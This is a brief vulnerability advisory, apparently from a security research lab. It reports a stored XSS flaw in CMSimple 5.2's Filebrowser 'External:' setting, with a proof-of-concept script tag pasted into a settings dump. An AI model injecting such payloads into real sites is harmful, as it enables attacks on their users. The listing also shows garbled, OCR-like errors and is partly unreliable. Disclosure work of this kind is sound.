[Description]
The CMSimple 5.2 allow stored XSS via the Settings > CMS > Filebrowser > "External:" input field.
[Attack Vectors]

The CMSimple cms "Filebrowser" "External:" input field not filter special chars. It is possible to place
JavaScript code.

The JavaScript code placed here is executed by clicking on the Page or Files tab.

[Proof of Concept]

bug-Mode is enabled!

© Pages_sitemap:
@ Path_locator: true

© pages_submenu:

Images

© Maxsize: 5000000

Downloads

© Maxsize: 5000000

Editor

© External: tinymee

© Height: 600

© Tinymee_toolbar: full -

Filebrowser

© External: <script>alert("QUADRON RESEARCH LAB")</script> <script>alert{ "QUADRON RESEARCH LAB")</script>
© Extensions_downloads: zip, tet, swf, pdf, doc, odt, mp3, flv, JPG, JPEG, jpg, jpeg, gif, png, tif, tiff

© Extensions_images: ipa, jpeg, gif, png, tif, tiff

© Extensions_media: mp3, fiv, jpg, jpeg, gif, png, tif, tiff, mp4, ogg, oga, ogv, webm

© Extensions_userfiles: 2ip, tet, swf, pdf, doc, odt, mp3, flv, jpa, jpeg, gif, pna, tif, tiff, mp4, oy, oga, ogv, webm, css

© Maxheight_of_thumbs: 86

QUADRON RESEARCH LAB
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